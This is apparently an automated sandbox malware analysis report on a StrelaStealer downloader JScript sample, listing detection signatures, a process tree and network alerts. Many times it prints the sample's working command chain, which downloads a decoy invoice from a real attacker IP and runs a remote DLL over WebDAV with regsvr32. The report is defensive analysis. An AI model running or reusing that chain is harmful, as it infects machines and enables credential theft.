Edit tour

Windows Analysis Report
207059547457320193.js

Overview

General Information

Sample name:	207059547457320193.js
Analysis ID:	1589027
MD5:	f206696e6dd0cc3df1468e4ed9413034
SHA1:	f063f877155c6298245a5bc3062c4407df1d3997
SHA256:	2d4885cfc41cc08e8a551739fe785c08dcb02ca4d5fe14c26f035ebfbef1053e
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7444 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7536 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7588 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7780 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7224 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,16000377392054461285,756033616795107674,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7800 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7836 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8068 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7444	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ProcessId: 7444, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7836, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ProcessId: 7444, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7800, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7836, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8068, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7800, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7836, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll, ProcessId: 7536, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:36:57.661496+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:37:00.120109+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:36:57.661496+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 207059547457320193.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 207059547457320193.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 207059547457320193.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:36:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

